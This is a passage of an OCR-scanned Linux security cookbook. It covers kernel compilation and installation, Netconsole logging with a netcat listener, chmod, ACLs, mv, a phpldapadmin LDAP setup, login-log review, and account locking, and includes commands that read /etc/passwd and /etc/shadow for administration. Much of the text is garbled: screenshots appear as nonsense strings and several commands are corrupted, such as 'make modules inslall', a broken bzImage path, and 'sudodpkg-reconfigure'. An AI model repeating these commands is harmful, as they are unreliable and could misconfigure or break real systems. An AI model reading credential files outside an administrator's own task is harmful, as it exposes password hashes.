7. Now, run the command to configure the Linux kernel so that it
can be compiled and installed on the system.

8. You may have to use sudo before the preceding command if
your account doesn't have admin privileges.

9. Once the preceding command is executed, a pop-up window will
appear, containing a list of menus. Select the items of the new
configuration.
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10. You need to check for the File systems menu.
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11. Under it, check whether ext4 is chosen or not, as shown in
following screenshot. If it is not selected, you need to select it

now.
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12. Then,

save the

configuration.

Oo yo. wish o save yous ~gw configuaratlon™

(Pruwy ESCxEEl= Lo concirua kel confligorstion.d

= ho =

13. Now, compile the Linux kernel. The compile process will take
around 40 to 50 minutes to complete, depending on the system
configuration. Run the command, as shown here:

make -j 5






How it works...

We first download the Linux kernel source, and then, after extracting
it at a particular location, we configure the kernel for the compilation
process.



Installing and booting from a kernel

After having spent a lot of time configuring and compiling the kernel,
we can now start the process of installing the kernel on the local

system.



Getting ready

Before starting the installation of the kernel, make sure to back up all
your important data on the system. Also, make a copy of /boot/ On
an external storage that is formatted in the FAT32 filesystem. This
will help with repairing the system if the installation process fails for
any reason.



How to do it...

After completing the compilation of the kernel, we can then start
following the commands required to proceed with the installation of
the kernel.

1. Install drivers by running the following command:

sfusr/src/linux-4. 1. 6# make modules inslall

The preceding command will copy the modules to a subdirectory
of/1ip/modules.
2. Now, run the following command to install the actual kernel:

make install

L JEcatsvnlindz <.1.%

rel o dics-gudaoc-gas 1.1 08 dbcolsenlonue-7 105

op-arik .pra

This command executes /sbin/installkernel.
4. The new kernel will be installed in /boot/vmlinuz -{ version} .

w

If a symbolic link already exists for /boot/vmlinuz, it will get
refreshed by linking /boot/vm1inuz to the new kernel.



The previously installed kernel will be available as
/boot/vmlinuz .old. The config and System.map files will also be
available at the same location.

. Next, we will copy the kernel to the /voot directory by running
this command:

cp -v arch/x86 /boot/bzImage /boot/vmlinuz-4. 1.6

. Now build the initial RAM disk.

g -1.1. % rkcm-Traats -0 fhooty mrtrmoing-1. 68 S oo hfranialnas. CBS

. Next, we need to copy system.map, Which contains a list of kernel
symbols and their corresponding address. For this, run the
following command, appending the kernel's name to the
destination file.

. Next, create symlink /boot/System.map, Which will point to
/boot/System.map-YourKernelName if /boot IS ON a filesystem
that supports symlinks.



9. If /boot is on a filesystem that does not support symlinks, just
run this command:

cp /boot/System map-YourKernelName /boot/System map



How it works...

After the configuration and the compilation of the kernel have been
completed, we start with the process of installing the kernel. The first
command will copy the modules to a subdirectory of /1ib/modules.

The second command executes /sbin/installkernel. Also, the new
kernel will be installed in /boot/vmlinuz -{ version} . While doing this,
if a symbolic link already exists for /voot/vmlinuz, it will get refreshed
by linking /boot/vmiinuz to the new kernel. The previously installed
kernel will be available as /boot/vmlinuz .01d. The same is applied to
the config and System.map files.

Once everything is done, we can reboot the system to boot from the
new kernel.



Testing and debugging a kernel

An important part of any open or closed Software Development
Cycle (SDC) is testing and debugging. This also applies to the Linux
kernel. The end goal of testing and debugging is to ensure that the

kernel is working as it did earlier, even after installing a new kernel
source code.



Configuring a console for debugging
using Netconsole

If we want to capture a kernel panic, it becomes hard once the
system has been rebooted as there are no logs created for this. To
solve this issue, we can use Netconsole.

A kernel module helps by logging kernel print messages over UDP.
This becomes helpful with debugging problems when logging on to
the disk fails.



Getting ready

Before starting the configuration of Netconsole, we need to know the
MAC address of the system where the UDP packets will be sent.
This system is referred to as a receiver, and it may be in the same
subnet or a different one. These two cases are described here:

1. The first case is when the receiver is in the same subnet.
2. The IP address of the receiver in this example is 192.168.1 . 4.

We will send UDP packets to this IP address.
[ = ping - 1 182.168.1.4 = /dev ru.ﬂ'll

3. Now, let's find the MAC address of the receiver system by
executing this command. In the following case, the IP address is
of the recelver system.

As we can see in the preceding example, 90:00:4e:2f:ac:ef IS
the MAC address we need.



4. The second case is when the receiver is not in the same subnet.
In this case, we need to first find the default gateway. To do so,
we run thIS command

5. Here, the default gateway is192.168.1 .1.
6. We need to find the MAC address of the default gateway. First,

send a packet to the default gateway in this way:
. ~f ping -c 1 192.168.1.1 > /dev/null]]

7. Now, Iets find the MAC address.

:1. ags Mask

Here, co:3f:0e:10:c6:be is the MAC address of the default gateway
that we need.



Now that we have the MAC address of the receiver, we can start with
the configuration process of Netconsole.



How to do it...

To begin with, we need to change the kernel options at boot time. If
you are using Grub as the bootloader, it will, by default, boot the
kernel with the quiet splash option. However, we don't wish this to
happen. So, we need to change the kernel options.

1. First, create a backup of Grub at the /etc/default/grub location
usmg the command shown in the following screenshot:

Sdolesul Ligrub o cfdelaul LAgrak cbackup

2. Now open any editor of your choice to edit /etc/default/grub.
- ~# vl Jetc/cefault/grub

1

3. Find the line GRUB_CMDLINE LINUX DEFAULT="quiet splash" and
replace it with GrRUB_CMDLINE LINUX DEFAULT="debug

ignore loglevel”.
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5. Once we have implemented the preceding commands, we need
to initialize Netconsole at boot time. For this, we first need to
know the IP address and the interface of the sender system.
This can be done using the command shown in the following
screenshot

6. We also need the |IP address and MAC address of the receiver
system, which we took a look at in the Getting Ready section.



7.

8.

10.

Now, let's start initializing Netconsole. First, let's get netconsole
to Ioad on boot by addmg the module to /etc/modules.

onsole == Jotc/nodules’

Next, we'll make sure that it has the appropriate options
configured as well. For this, we will add the module options to
the /etc/modprobe.d/netconsole.conf file and run the command
shown in this screenshot

In the preceding command, the part that starts with Netconsole
has the following syntax:

netconsole=
<LOCAL_PORT>@<SENDER_IB_ADDRESS>/<SENDER_INTERFACE>,
<REMOTE_PORT>@<RECEIVER_IB_ADDRESS>/<STEP_1_MAC_ADDRESS>

We have used 6666 for both <z.ocar, porT> and <rREMOTE _PORT>.
Next, we need to set up the receiver.

Depending on which version of Linux is being used as the
receiver, the command used to set up it up may vary:

netcat -1 -u 192. 168. 1. 4 6666 | tee ~/netconsole. log



Try setting up the receiver without an IP address if the preceding
command doesn't work:

netcat -1 -u 6666 | tee ~/netconsole. log

11. If you are using a variant of Linux that has a different version of
Netcat, the following error message will be printed when you try
using the preceding commands:

12. If you get the preceding error message, you can try out the
ommand shown in this screenshot

¥ nstccTt 1 o EEEB tee -/ net

13. Now, let the preceding command keep running.

14. Next, we need to check whether everything is working properly.
Reboot the sender system, and then execute the command
shown in this screenshot:




15. Now, you need to check the receiver system to take a look at
whether the kernel messages have been received or not.
16. Once everything is done, press Citrl + C. Then, you can check

for the messages in ~ /netconsole.log.



How it works

To capture kernel panic messages, we configure Netconsole, which
logs messages over the network. To do this, we need one more
system on the network that serves as a receiver. Firstly, we try to find
the MAC address of the receiver system. Then, we change the
kernel boot options. After updating Grub, we start initializing
Netconsole on the sender system that we want to debug. Finally, we
then we set up the receiver system to start receiving kernel
messages.



There's more...

If you are using a Windows system as a receiver, then you can use
Netcat for Windows, which is available at
http://joncraton.org/files/nc111nt.zip. Execute the following steps to
set up a Windows receiver.

1. Download the file from the given link and extract it in a specified
location (that is, c:\Users\Taj inder\ Downloads\nc>).

2. Now, open Command Prompt. Then, move to the folder where
you have extracted Netcat.

Microsoft Windows [Version 6.1.7800] _
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:hwUsershTajinder=cd &,

IC:h=cd CihUsersh\Tajinder\Downloads'ne

C:%UsershTajinder\Downloadshnc=

3. Next, run the command shown here:
Eé;;??;#i ?:ruﬁtH g ihhtle tion. A1l rights rasarvad,

CrilUsershTajinder=cd Dow

CrhUsershTajindersbownloads ne> nc -u -7 -p 6666 192,.163.1.3 » netconsole. txt

o

Here, 192.168.1.3 is the same as <RECEIVER IP ADDRESS>.

. Let the preceding command run and continue along with the
commands mentioned in step 9. Once this is done, press Cirl +
C. You will find messages in netconsole.txt.

9)


http://joncraton.org/files/nc111nt.zip

Debugging a kernel on boot

Sometimes, your system might fail to boot changes within the kernel.
Hence, it is important that when you're creating reports about these
failures, all the appropriate information about debugging is included.
This will be useful for the kernel team in order to resolve the issue.



How to do it...

If you are trying to capture error messages that appear during boot,
then it is better to boot the kernel with the quiet and sp1ash options
removed. This helps you to see messages, if any, that appear on the
screen.

To edit the boot option parameters, perform the following steps:

1. Boot the machine.
2. During the BIOS screen, press the Shift key and hold it down.

You should see the Grub menu after the BIOS loads.
GHU 3R_B wvers-.an 1.99-27—lezyLZ
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3. Navigate to the kernel entry that you want to boot and press e.
4. Then, remove the quiet and spiash keywords (these can be

found in the line starting with Linux)
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5. Press Ctrl + x to boot.

You can see error messages, if any, on the screen.

Depending on the type of error messages you encounter, there are
other boot options you could try. For example, if you notice ACPI
errors, try booting with the acpi=off boot option.



Chapter 3. Local Filesystem Security

In this chapter, we will discuss the following:

Viewing file and directory details using the Is command
Changing the file permissions using the chmod command
Implementing access control list (ACL)

File handling using the mv command (moving and renaming)
Install and configure a basic LDAP server on Ubuntu



Viewing file and directory details
using the Is command

The 1s command is used to list files in a directory, and it is similar to
the air command in DOS. This command can be used with various
parameters to give different results.



Getting ready

Since the 1s command is a built-in command of Linux, we don't need
to install anything else to use it.



How to do it...

Now, let's take a look at how we can use 1s in different ways to get a
variety of results by just following these given steps:

1. To take a look at the simple listing of files in a current directory,
type 1s:

et 11h npT run sys  wmlinuz
examp Le Lost+tound oerriss_ors.acl shin ]
hnme med 1A o solinuw usr
initrd. img mnt root Srv var
A

2. To get more information about the files and directories listed
using the 1s command, add a type identifier, as shown here:

€] : opt/ runys sys/  wmlinuzi@
bins : les Lost+found, >2armnissions.acl sbins 3

ol hum T ET sel i/

dew/ Andtrd. imgs mnt/ roaty sre/

When the preceding identifier is used, the executable files have
an asterisk at the end of the name, while the directories have a
slash, and so on.

3. To check out details of files, such as the creation dates, owners,
and permissions, run the command with the 1 identifier, as




4. To find a listing of all the hidden files in the current directory, use
the a identifier, as shown here:

s a
trin ale inilrd. img media oorr ssicas.aos 1 SEY O LIST
boot ezample 1ib mt o shin SYS  var

G dew homa lost+found opt gl selinox [Eiff vmlinuz
i

Files that begin with a period (also called dot files) are hidden
files, which are not shown if the -a option is not used.

5. To print the file size in readable form, such as MB, GB, TB, and
so on, instead of printing in terms of bytes, we can use the -n
identifier along with -1 identifier, as show here:

6. If you wish to exclude all the files and display only their
subdirectories, then you can use the -4 option, as follows:

Lost+found/

mesl La S

7. The 1s command when used with the -r option will display the
contents of the subdirectories, too:






How it works...

When we use different options with the 1s command, it gives us
different results in terms of listing a directory. We can use any option
as per our requirements.

It is recommended that you get into the habit of using 1s -1an so that
you can always find the listing in readable sizes.



Changing the file permissions using
the chmod command

Change Mode or chmod is a Linux command that is used to modify
the access permissions of files and directories. Everybody wants to
keep their data secure and properly organized. For this reason,
Linux has a concept that associates owners and groups with every
file and directory. These owners and groups have different
permissions to access a particular file.



Getting ready

Before we take a look at the different usages of the chmoa command,

we need to know the different types of users and the symbolic
representation used:

e 1 is used for user/owner
e gis used for a group
e o is used for others

Now, create a file called testfile.txt, to try out the different
commands of chmod.



How to do it...

Now, we will take a look at how to use chmod in different ways in
order to set different permissions:

1. If we want to change a single permission for users (owners,
groups, or others), we use the + symbol to add the permission,
as shown in the following command:

chmod u+x testfile. txt

The preceding command will add the execute permission for the
owner of the file:

s

-rwxr--r-- 1 root -oot 39 Nov 23 1827 testfile. txt

14

2. If we want to add multiple permissions, we can do this through a
single command. We just need to separate different permissions
using a comma, as shown here:

chmod g+x, ot+x testfile. txt

The preceding command will add the execute permission for the

group and other users of the file:
chnod g+x,otx test ile.tixt

1:2/ testrile.txt

3. If we want to remove a permission, we just use the - symbol
instead of +, as shown here:

chmod o-x testfile. txt



This will remove the execute permission for the other users of
the particular file:
|

esllile. el

5 testftile.txt

. Suppose we wish to add or remove a permission for all the
users (owner, group, and others); we can do this through a
single command using the a option, which signifies all users, as
shown here:

To add the read permission for all the users, use this command:
chmod a+r testfile. txt

To remove the read permission for all the users, use this
command:

chmod a-r testfile. txt

This is shown in the following screenshot

testfile. txt
txt

estfile, txt

5 testfile, txt

. Here, we suppose that we want to add a particular permission to
all the files in a directory. Now, instead of running the command
for all the files individually, we can use the -r option, which



signifies that the given operation is recursive. So, to give
execute permission for the other users and all the files in a
directory, the command will be as follows:

chmod o+x -R /example

Have a look at the following screenshot showing

ifegamplef 1s -1

e— 3 usor]l usarl £4
permissions. acl
; lest Dircctory
i il 0 4 ¥} a0 A7:3F testfile. txt
fexanpled

6. To copy the permissions of a particular file to another file, we
can use the reference option:

chmod --reference=filel file2

Here, we applying the permissions of fi1e1 to another file called
file2. The same command can be used to apply the
permissions of one directory to another directory:

:fexample/Test Directoryf s -

co—folel filled

fevample/lest Directory®



How it works...

When chmod is used with a symbolic representation, we already know
the following:

e 1 is used for a user/owner
e gis used for a group
e o is used for others

Also, different permissions are referred to as follows:

e . read
e w. Write
e . execute

So, using the preceding commands, we change the permissions for
the user, group, or others as per our requirements.



There's more...

We can set permissions with chmod using numbers as well, which is
called the Octal representation. Using numbers, we can edit
permissions for an owner, group, and others, all at the same time.
The syntax of the command is as follows:

® chmod xxx file/directory

Here, xxx refers to a three digit number ranging from 1-7. The first
digit refers to the owner's permission, while the group is represented
by the second digit, and third digit refers to the permissions of
others.

When we use the octal representation r, w, and x permissions have a
specific number value, as mentioned here:

e =4

o W=2

o x=1
Now, a read and execute permission is represented as follows:

o rXx=4+0+1 =5
Similarly, a read, write, and execute permission is calculated as
follows:

o 'wx=4+2+1 =7

If we wish to give only the read permission, it will be as follows:
e r--=4+0+0=4

So, now if we the run the following command, it gives the permission
as calculated:

chmod 754 testfile. txt

Here's the screenshot:



wampled

ir-- 1 root root
:fexanple# i




Implementing access control list
(ACL)

Implementing the basic file permissions using chmod is not enough,
so we can use ACLs. In addition to providing permissions for the
owner and group of a particular file, we can set permissions for any
user, user group, or group of all the users who are not in a group of a
particular user using ACLs.



Getting ready

Before starting with the setting of permissions using ACLs, we need
to confirm whether ACLs are enabled or not. We can do this by
trying to view the ACLs for any file, as shown in this example:

getfacl<filename>

The preceding command will show an output similar to the following
if the ACLs are enabled:

!$ getfacl accou




How to do it...

To understand more about ACLs, let's perform these steps:

1. First, we will create three users and give them names—user1,
user2,and user3.

Tion caenged.

v inTormation cnenged.

The preceding command is used to change the password
information, which is optional. You can ignore it if you want to.
However, in this case, you will need to log in with the password
of a particular user as and when required.
2. Next, create a group with any name, such as groupi . After
creating the group, we will add the three users, created in the
previous step, to th|s group

3. Next, we will create the /exampie directory and change its
ownership to useri:



=F mkeir Sexanple
t=F chown Jse~ sexamnle

- |

4. Open a new terminal window and log in from user1. After this,
change to the /examp1e directory, which was created in the

previous example, and inside it, create a directory with any
name, such as accounts:

FF, mkdir accounts

N |

5. Now, suppose userl wants to give write permission to user?
only in the accounts directory. To do so, user1 has to set write
permission in groups. But doing so will give write permission to
user3 also, and we don't want this to happen. So, user1 will
grant write access to user2 Using ACLs, as shown here:




We can see that in the preceding image, only user1l and user2
have write permission in the directory, and the others have no
permissions.

7. Open a new terminal and log in from user2. Then, change to the

/example directory.
~# su user?

8. Let's try to make a directory in the accounts folder. Since user2

has write permission, this should be successful:
$ cd accounts

9. Next, open a new terminal and log in from user3. Then, change

to the /examp1e directory:
~# su user3
$ cd /example

N |

10. Try to change to the accounts directory. Since user3 does not

have any permission over the directory, it will be denied:
» CO0 ccounts
cd: can't cd to accounts




There's more...

We might want to grant the execute permission for only two users
from a group of users. If we do this by setting the permission using
chmod, all the users from the group will get the execute permission.
However, we do not want this. This kind of situation can be handled
using ACLs.

In the preceding steps, we have set permissions on a file individually
for each user, thus avoiding the chance of allowing others to also
have any permissions.

Whenever we deal with file permissions, it is better to take a backup
of the permissions if your files are important.

Here, we suppose that we have an examp1e directory that contains a
few important files. Then, back up the permissions using this
command:

getfacl -R /example>permissions. acl

i examplzs parnissiors_ ac
|ﬁ&tfacl: 3 'F' “rom atsc.uTe psth neEncs
[

[Aaccounts : g
Aenampled ]

The preceding command backs up the permissions and stores them
in a file called permissions.acl.

Now, if we want to restore the permissions, the command to do this
is as follows:

setfacl -- restore=permission. acl

This shown in the following screenshot:



CSexample# setfacl --rastore=pe-missions.acl

: /example# |

This will restore and back up all the permissions to where they were
while creating the backup.



File handling using the mv command
(moving and renaming)

The mv or move command is used when we wish to move files from
one directory to another, and we don't want to create duplicates
while doing this (something that happens when using the cp
command).



Getting ready...

Since mv is a built-in command of Linux, we don't have to configure
anything else to understand how it works.



How it works...

On every Linux system, this command is installed by default. Let's
take a look at how to use the mv command by taking different kinds of
examples:

1. To move the testfilel . txt file from the current directory to any
other directory, such as nome/practicall/example, the command
is as follows:

mv testfilel. txt /home/practical/example

The preceding command will work only when the location of the
source file is different from the destination.

When we move the file using the preceding command, the file
will get deleted from the previous location:

=i 1=

build module r ete testfile.tut

testfile.txt
:fhome fprocticalfexampled co
Tl
build module Downloads mhkinitcpie netcicnsole

2. To move multiple files using a single command, we can use this
command:

mv testfile2. txt testfilel3. txt testfiled. txt
/home/practical/example

When using the preceding command, all the files that we are
moving should be in the same source location:



. To move a directory, the command is the same as the one used
to move a file. Suppose we have a directoryl directory in the
current directory and we want to move it to the
/home/practical/example location, the command will be as
follows:

mv directoryl/ /home/practical/example

This shown in the following screenshot
' = s

!['-l.lil_-:i_li-:-.:lu Lle directaryl example pErnissisns . acl
Desktop Lhoe i .

3
directoryl f i tostfile. Txt
t/home/practical/example#

. The mv command is also used to rename files and directories.
Suppose that we have an exampile 1.txt file and wish to rename
it example 2.txt, the command to do this will be as follows:

mv example 1. txt example 2. txt

The preceding command works when the destination location is
the same as the source location:



c~Sexanpled 1s
praclical
campled my exarple 1.1zl eeanclz 2 LxL

campled 1s
prdu Lical
c=fexanpled |

. Renaming a directory also works in the same way as renaming
a file. Suppose we have a test directory 1 directory and we
want to rename it test directory 2, then the command will be
as follows:

mv test directory 1/ test directory 2/

The execution of the preceding command can be seen in the
following screenshot

~fexample# 15
axamp & 7 actice test directory 1
v oLesL direclory 17

gxamng.a

:~fexample# ||

. When we use the nv command to move or rename a large
number of files or directories, we can check whether the
command works successfully or not using the -v option.

. We may want to move all the text files from the current directory
to the /home/practical/example folder and also check them. To
do this, use the following command:

mv -v * txt /home/practical/example

The execution of the preceding command can be seen in the
following screenshot



. When we use the nv command to move a file to another location
and a file already exists there with the same name, then the
existing file gets overwritten when using the default command.
However, if we wish to show a pop-up notification before
overwriting the file, then we have to use the -i option, as shown
here:

mv -i testfilel. txt /home/practical/example

When the preceding command is run, it will notify us that a file
with the same name already exists in the destination location.
Only when we press y will the command complete; otherwise, it

will get cancelled:

l:~# s
build module Duwnloads wkiniloplo o ce {ar lesLlile, Lxl
Desktop mv~ile =R i

My = OWersri—e

=1 s
build module Duwnloads wkiniloplo
Desktop example mv=ile

S




10. When using the mv command to move a file to another location

1.

12.

where a file with the same name already exists, using the -u
option will update the file in the destination location only if the
source file is newer than the destination file.

We have two files, file 1.txt and file 2.txt, at the source
location. First, check the details of the file using this command:

ls -1 *, txt

Now let's check the details of the files at the destination location:

1ls -1 /home/practical/example/*. txt

Now, move the files using this command:

mv —-uv *, txt /home/practical/example/

We see that ri1e1l.txt and file2.txt have been moved to the
destination location and have updated the earlier files because
of the new time stamp of the source files.

Suppose we move multiple files and in the destination location,
a few files with the same name as the source already exist,
which we don't want to update. In such a case, we can use the -
n option, as shown in the following steps.

We have two files, file 1.txt and file 2.txt, at the source
location. First, check the details of the files using this command:



13.

14.

15.

16.

17.

ls -1 *, txt

Now, move the files using this command:

mv -nv * txt /home/practical/example/

Let's check the details of the files in the destination location:
1ls -1 /home/practical/example/*. txt

The files with the same name have not been moved, which can
be checked by observing their timestamp:

When moving file, if the destination location already has a file
with the same name, then we can also create a backup of the
destination file before it is overwritten by the new one. To do
this, we use the -v option:

mv -bv * txt /home/practical/example

Now, let's check the details of the files in the destination
location. In the details, we have files named fiilel .txt~ and
file2.txt~. These files are backup files that can be verified by
the timestamp, which is older than those of fiie1 .txt and
file2.txt.






There's more...

You can learn more about the mv command by typing man, mv, Of nv -

-help. This will display its manual page where we can explore more
details about the command.



Install and configure a basic LDAP
server on Ubuntu

Lightweight Directory Access Protocol or LDAP is a protocol
used to manage access to a file and directory hierarchy from some
centralized location. The directory is similar to a database; however,
it is likely to contain more expressive, attribute-based information.
LDAP is mainly used for centralized authentication.

An LDAP server helps to control who has access to the read and
update information in the directory.



Getting ready

To install and configure LDAP, we need to first create a Ubuntu
server. The current version of the Ubuntu server installation media
can be found at http://www.ubuntu.com/download/server.

After downloading it, follow the steps given for the installation of the
Ubuntu server.

We need a second system with the Desktop version of Ubuntu
installed. This will be used to access your LDAP server through a
web interface.

Once this is done, we can proceed with the installation of LDAP.


http://www.ubuntu.com/download/server

How to do it...

We shall now start with the process of installing and configuring
LDAP on the Ubuntu server. The s1apd package is required to install
LDAP, and it is present in Ubuntu's default repositories:

1. We will first update the package list on the server from Ubuntu's
repositories to get information about the latest versions of all the
packages and their dependencies:

sudo apt-get update

2. Now, run the command to install the s1apa package in order to to
install LDAP:

sudo apt-get install slapd

The following screenshot shows the output of this command:
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1 upyraded,s F oewly imlalled, ® Lo ceoee amd B2 mul wpyraded,
Heed to get 1,080 KD of archives,
nftrr thiz npeentdom, 4,919 KA nf ndd itloamal 1=k =pome will he oard
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3. During the installation process, you will be prompted to enter
and confirm an administrator password, which will be used for
the administrator account of LDAP. Configure any password of
your choice and complete the installation process:



Conf iqurdmg slapd
lMease enter the pozeword For tle adwin entry in yowr LDAT fdirectory.

Adwiniztrator pocsword !

4. Next, we need to install some additional utilities that are
required with LDAP:

sudo apt-get install ldap-utils

The output of the command can be seen in the following
screenshot

Lo jindoc@mgne luark =753 mwda opl gol fnxluall ldop elils
£. .. Miane
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5. Once the installation part is complete, we will start to reconfigure
the LDAP package as per our requirements. Type this command
to start the package configuration tool:

sudodpkg-reconfigure slapd

6. This will start a series of questions regarding the configuration of
the software. We need to choose the options one by one as per
our requirements.

7. First, you will be asked Omit OpenLDAP server
configuration? Select No and continue:



Conf lguring 5lopd

IT yuu eneble Lhiv vpliove, o inilial confPiguralion ure dolobose will be crealed for goo.
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8. Next, you need to enter the domain name. You can use an
already existing domain name on the server or create anything
of your choice. We have used example.com here:

| Canliguring =lopd |
The DHS damain nase I= uecd to conztrmct the basze DH of tho LONP dircotory. For cuawplc.
‘foo.cxanple.oeg” wlll cecate the diroctoryg with ‘de=fop. de=cxanplec, de=org' as bosc BH.

DHE dunwin nums:

Aanple .cum
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9. The next step will be to ask for the Organization Name, which
can be anything of your choice:

Cond' Lgur-Ing = Lagd
Fluowsw colee L nume o Lhe veganizalivo Lo wse io Uee bowe DH of ygoure LOOE diccclurcyg.

Uryamizal ivn mone:

10. You will be asked to enter the administrator password for LDAP.
We had already configured this during the installation of LDAP.
Use the same password, or you change it to something else in
this step:



1 Confimuring slapd |
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11. Next, we need to select the HDB when prompted to choose
Database backend to use? option:

1 Conflgucing =lnpd |
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12. You will be asked whether you wish to remove the database
when s1apd is purged. Select No here:

1 Gord iguritdy =lapd |

Do yow want the detobase to be renowed when slopd is porged?

fid  Hu

13. In the next step, select Yes to move the old database, and allow
the configuration process to create a new database:
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14. Now, choose No when asked Allow LDAPv2 protocol?.
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15. Once the configuration process is done, we will install the
phpldapadmin package. This will help in administering LDAP

through the web interface;

sudo apt-get install phpldapadmin

The execution of this command can be seen in the following
screenshot
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16. Once the installation is completed, open the configuration file of
phpldapadmin to configure a few values:.

sudo nano /etc/phpldapadmin/config. php

ThIS |s shown in the foIIowmg screenshot

17. Search for the given section, and modify it to reflect the domain
name or the IP address of the Ubuntu server.

$servers-
>setValue(' server' ,' host' ,' domain nam or IP address');

This is shown in the following screenshot

Sservers->setValue( server’,'host','192.163.83.133');




18. Next, edit the following entry and insert the domain name that
we had given when we reconfigured siapd:

$servers-
>setValue(' server' ,' base' ,array(' dc=example,dc=com'));

Give the domain name in the form of values to the qac attribute in
the preceding line. Since our domain name was example. comn,
the value in the preceding line will be entered as dc=exampie,

dc=com.

Feervers—xe Ll lue (' aeewe-' | " base” | orragd” de-exonp le  de—am' 3

19. Find the following line, and enter the domain name as the ac
attribute again. For the cn attribute, the value will be aamin only:

$servers-
>setValue(' login' ,' bind_id' ,' cn=admin,dc=example,dc=conm’ ) ;

This can be seen in the following screenshot

Sarvunrs dartUalnet’ lngin®, 'hind_id’,"me=admin, dr=manp e, descon’ 12

20. Search for the section that reads similarly to what is shown in
the following code, and first uncomment the line and then set
the value to true:

$config->custom->appearance[' hide template warning'] =
true;

This can be seen in the following screenshot



Sconfig rocustom appocarancel”hidc_tonplatc_warning' 1 = truc;

21. After making all the changes, save and close the file.

22. When the configuration of php1dapadmin is complete, open a
browser in the other system that has the desktop version of
Ubuntu. In the address bar of the browser, type the domain
name or the IP address of the server, followed by /php1dapadnmin,
dS domain name or IP address/phpldapadmin:

fim phpL DA Fadmin (2 2 2) |

4= [ @ 152 152883, 233/php dapadrin ~ €] [~ Sooale a I f

““Ebap P8
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- =php

sz b nora e e’ corascal:
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23. Once the pnp1dapadmin page opens, on the left-hand side we
find the login link. Click on it and you will get a login prompt:



Authenticate to scrver My LDAP Server
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24. The login screen has the correct Login DN details if
phpldapadmin has been configured correctly so far. This is
cn=admin, dc=example, dc=com in our case.

25. Once you enter the administrator password correctly, the admin
interface will be shown:
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26. In the admin interface on the left-hand side where you see the
domain components (dc=example, dc=co), click on the plus sign
next to it. It will show the admin login being used:



=ph
ElbaP
sadmin

Home | Purge caches | Show Cache

M My LDAP server ©

B Q@ 03 & 4

schema search refresh info import export logout
Logged in as: cn=admin

= cn=admin
i

Create new entry here

Our basic LDAP server is now up and running.



How it works...

We first create an Ubuntu server, and then on top of it, we install the
slapd package to install LDAP. Once it is completely installed, we
install the additional package that is required. Then, we reconfigure
LDAP as per our requirements.

Once reconfiguration is complete, we install the phpildapadmin

package, which will help us in managing the LDAP server through
the web interface using a browser.



Chapter 4. Local Authentication in
Linux

In this chapter, we will discuss the following topics:

User authentication and logging

Limiting the login capabilities of users

Monitoring user activity using acct

Login authentication using a USB device and PAM
Defining user authorization controls



User authentication and logging

One of the major aspects of user authentication is monitoring the
users of the system. There are various ways to keep track of all the
successful and failed login attempts made by a user in Linux.



Getting Started

The Linux system maintains a log of all login attempts by different
accounts in the system. These logs are all located at /var/10g/.

cltarnaTives 1og
apache?
apl




How to do it...
Linux has many ways to help an administrator to view the logs, both
through a graphical and command-line method:

1. If we want to check the incorrect login attempts for a particular
user, such as root, we can do so by using this command:

lastb root

Saz Mow 28 13:£7 13:47

Etmp bagins Sat Mow 20 L3:47:0z 2015

2. To see the log using the terminal, we use the danesg command.

This command displays the buffer of Linux kernel's message
stored |n memory, as shown below _

el

cecodes=ic mem, owni==ior —en

b W e R W W el o Wl B 1

4,

it e B et W e e B e sl e |

3. If we wish to filter the above output to only show the log related
to a USB device, we can do so by using grep:



3497 huk 1-€:1.8:

Tk

4. Instead of viewing all the logs, if we only wish to view the 10
most recent logs in a particular log file, the command will be as

follows:

g Y iy

A rsE s pool

In the above command, the -n option is used to specify the

number of lines to be shown.
5. If we wish to see the most recent login attempts for user

accounts, use the tool, 1ast.



The 1ast tool displays the /etc/10g/wtmp file in a formatted way.
6. If we want to see the last time any user logged in on the system,
we can use the 1ast1og command:

stunnel<d




How it works...

Linux has different files for logging different types of detail. Using the
commands shown above, we are able to view those logs and see the
details as per our requirements. Every command gives us different

type details.



Limiting the login capabilities of users

A major role of a system administrator is to configure and manage
users and groups on a Linux system. It also involves the task of
checking the login capabilities of all users.



Getting ready

All the steps given below have been tried on an Ubuntu system;
however, you can also follow these on any other Linux distribution.



How to do it...

Here we will discuss how the login capabilities of users can be
restricted on a Linux system:

1. We can restrict the access of a user account by changing the
login shell of the account to a special value in the /etc/passwd
file. Let's check the details of an account, ssih as an example, in
the /etc/passwd file, as shown:

cat /etc/passwd | grep sslh

2. In the preceding details, the final value for the ss1nh account is
setto /bin/false. If we now try to log in to ss1n user as root, we
see that we are not able to do so:

su sslh

3. So now, if we change the shell of the user account we wish to

restrict, we can do so as shown:
.3 20 e

|||i -5

Jusrfsbin/nolcgin usarl

~if =
Th_s accc currently not ava-lablc.

~# ||

4. Another way of restricting access to a user is by the using
/etc/shadow file. If we check the details of this file using the cat
command, we get the result as shown:

roas R™W t ATKF Qb Zalh ./ a0 1= FwT Gk as 15HNZ YR SCNTRFCRI A =2edn 56




5. The output is truncated, as shown here:
Jebzan-gdr ot A GeT-c

zI%sPe3pE"ZE MRl dy/ coj 2 eSlgSCEn (DavDE2py - FIZ LG gR

6. The details show the hashed password for the user1 account
(the one starting with ... s652iunTg65...). We can also see that
instead of the hashed password, the system accounts have an
asterisk .

7. Now, to lock the account user1, the command will be as follows:

passwd -1 userl

-l usarl
iry informat-on changed.

8. Let's check the details in the /etc/shadow file again for the user1
account. We see that the hashed password has been made
invalid by preceding it with a:

cat /etc/shadow | grep userl

zarl

s ef UETZE. ML dy f uo, 2XLeRE g9 S6p DhwDEZpy_ TIL .usy

9. To unlock the account again, the command is shown here:

passwd -u userl

vd -L uUserl
explry Lnfornalion changed.

~# |




10. If we wish to check if the account has already been locked or
not, we can do so by using the following command:

As we can see in the output above, the user1 account is locked,
which is denoted by 1. in the second field. Whereas user2 is not
locked, as it shows p in the details.

1. The process to lock or unlock an account can also be done
using the usermod command. To lock the account using usermod,
the command will be as follows:

usermod -L userl

2. And to unlock the account using usermod, the command will be
as follows:

usermod -U userl



How it works...

For every account in Linux, the user account details are stored in the
/etc/passwd and /etc/shadow files. These details specify how the
user account will act. When we are able to change the details of any
user account in these files, we are able to change the behavior of the

user account.

In the above section, we have seen how to modify these files to 10ck
or unlock the user account.



Monitoring user activity using acct

Acct is an open source application which helps monitor user activity
on a Linux system. It runs in the background and tracks all the
activities of the users and also maintains a track of the resources

being used.



Getting started

To use the commands of acct, we first need to install the package on
our Linux system by using the following command:

apt-get install acct

: will Ee installed:

~enove and 2 rot upgraded,

cul lonal dis< g
cerno. ba aul il
=
